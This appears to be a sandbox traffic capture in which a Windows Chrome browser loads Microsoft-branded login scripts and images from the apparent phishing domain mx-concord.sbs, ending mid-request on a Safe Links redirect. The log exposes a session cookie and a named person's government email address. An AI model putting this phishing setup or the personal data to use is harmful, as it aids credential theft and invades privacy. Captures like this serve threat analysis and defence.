2024-08-28 20:21:08 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:08 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543317 cache-control: public, max-age=31536000 etag: 0x8DB5C3F4BB4F03C last-modified: Wed, 24 May 2023 10:11:52 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bb079f2d-d01e-005e-2e5a-7e9b08000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:08 UTC	628	IN	Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b Data Ascii: 26d}UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;
2024-08-28 20:21:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49765	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:07 UTC	791	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:08 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:08 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 12023610 cache-control: public, max-age=31536000 etag: 0x8DB5C3F466DE917 last-modified: Wed, 24 May 2023 10:11:43 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d7b6a4cb-301e-00d4-0e2d-8cc248000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:09 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-08-28 20:21:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49766	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:07 UTC	792	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:08 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:08 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543322 cache-control: public, max-age=31536000 etag: 0x8DB5C3F495F4B8C last-modified: Wed, 24 May 2023 10:11:48 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fbf632c1-401e-00a3-315a-7ee146000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:08 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-08-28 20:21:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49768	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:07 UTC	753	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_92013fd9f2f609d397ae.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:09 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:09 GMT Content-Type: application/x-javascript Content-Length: 35197 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5874813 cache-control: public, max-age=31536000 etag: 0x8DC90CF0D8CB039 last-modified: Thu, 20 Jun 2024 02:16:53 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b883df14-201e-0021-4819-c4e017000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:09 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-08-28 20:21:09 UTC	16384	IN	Data Raw: cf df fe f5 ac b9 d9 0f 36 3f 5f 7c b7 1d 6f 15 51 5e d4 33 ef 28 df 5a 2c f3 29 fc da 57 bf 6a 7f ae 35 ea b5 66 ad 51 6c 15 29 37 55 6f f5 3c 48 90 71 77 12 e4 51 dd f3 b6 f2 24 0e a3 fa 66 db f3 08 1b c6 21 da 4a a2 f9 a4 98 12 22 f9 59 b4 15 aa fe 8f 0b c0 e0 62 10 9d 15 17 07 7a 14 0f 88 54 3a 68 fa f1 c0 d4 4b 0f e3 83 14 ea c2 70 83 81 53 3d f5 7c 20 55 67 17 48 16 6c 6c a4 8d f6 61 bc b1 a1 87 34 be f8 d2 7e 30 a3 8a 14 72 69 a3 e5 a7 8d 8e e7 79 49 63 60 80 04 82 7f 06 ed 83 28 81 e9 c6 ae 90 78 58 68 79 16 5c 58 e8 b3 c1 ce 0e 58 cd 1b 1b c1 e1 60 67 b7 d3 ed 78 5f 2a e0 5e a7 d5 47 74 5a 88 4e 3d 2c e1 dc 68 79 de 33 2c d4 6e 6e 6c 84 a6 15 44 67 1e 42 99 8f ef 5e 9d a4 33 fe 1e 72 3d 3a 4b 2f 1a f0 4f a3 75 81 f8 35 0e c2 14 2f ab 2d a3 07 28 Data Ascii: 6?_\|oQ^3(Z,)Wj5fQl)7Uo<HqwQ$f!J"YbzT:hKpS=\| UgHlla4~0riyIc`(xXhy\XX`gx_*^GtZN=,hy3,nnlDgB^3r=:K/Ou5/-(
2024-08-28 20:21:09 UTC	5124	IN	Data Raw: d4 93 c1 4d 2d 5e c8 e5 14 14 39 26 95 28 45 1c b3 c5 8e 7d ed 76 b2 59 5b 8d 74 b9 0d 23 05 20 5d 5c 6c 32 d2 3c 57 43 f3 d0 91 b4 ec 52 c6 d3 dd 6e b1 e7 22 77 3c 8c c0 15 d7 e4 e1 e8 33 0d d5 e1 1b 50 f9 8e d7 45 9e be 4d 26 36 fd 55 0d 45 35 48 a8 37 3e ec 72 d5 26 0c b3 de 7d 0e ce ee f7 b9 7a 0d 7a a5 87 bf e0 69 35 98 a7 d5 68 e3 28 00 f8 a8 8a 7f 99 c9 cc 73 33 b5 60 e1 6d 22 94 24 28 1c 5a 57 cf ea bb 2b 4b 3b cf ec ae 51 cb fd b5 8e 16 a4 8d ae fe 98 05 38 e5 7a db c8 3d 42 55 0c ea 26 0b 00 cd 0b 99 2d 7c e7 d6 49 50 d6 95 be ed 3c ea 83 cc 2c e7 68 7e a0 3c 3c 5b d2 8a 28 20 ac 2d 33 33 e8 f8 ee 3c f7 10 cf f9 80 a3 02 23 b5 d9 0f ba 0f 0d 8a 53 1e 28 c0 2c 9b d5 a0 ff 02 85 88 77 99 85 34 14 fa 6f 0f 05 34 5f 76 87 46 56 89 c3 81 a4 ba 61 40 Data Ascii: M-^9&(E}vY[t# ]\l2<WCRn"w<3PEM&6UE5H7>r&}zzi5h(s3`m"$(ZW+K;Q8z=BU&-\|IP<,h~<<[( -33<#S(,w4o4_vFVa@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49769	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:08 UTC	709	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0 Sec-WebSocket-Key: HH4u3/6iPWg6HR00mLVanQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:10 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: bd1ee6f9-cc7c-4491-a9b0-8acee8269100 x-ms-ests-server: 2.1.18794.6 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49770	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:09 UTC	552	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:10 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:10 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543319 cache-control: public, max-age=31536000 etag: 0x8DB5C3F4BB4F03C last-modified: Wed, 24 May 2023 10:11:52 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bb079f2d-d01e-005e-2e5a-7e9b08000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:10 UTC	628	IN	Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b Data Ascii: 26d}UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;
2024-08-28 20:21:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49771	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:09 UTC	538	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:10 UTC	675	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:10 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543337 cache-control: public, max-age=31536000 etag: 0x8D8731240E548EB last-modified: Sun, 18 Oct 2020 03:02:30 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7a43f410-d01e-00a2-125a-7eca44000000 x-ms-version: 2009-09-19
2024-08-28 20:21:10 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-08-28 20:21:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49772	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:09 UTC	552	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:10 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:10 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543324 cache-control: public, max-age=31536000 etag: 0x8DB5C3F495F4B8C last-modified: Wed, 24 May 2023 10:11:48 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fbf632c1-401e-00a3-315a-7ee146000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:10 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-08-28 20:21:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49774	104.47.64.28	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:09 UTC	1105	OUT	GET /?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0 HTTP/1.1 Host: gcc02.safelinks.protection.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: 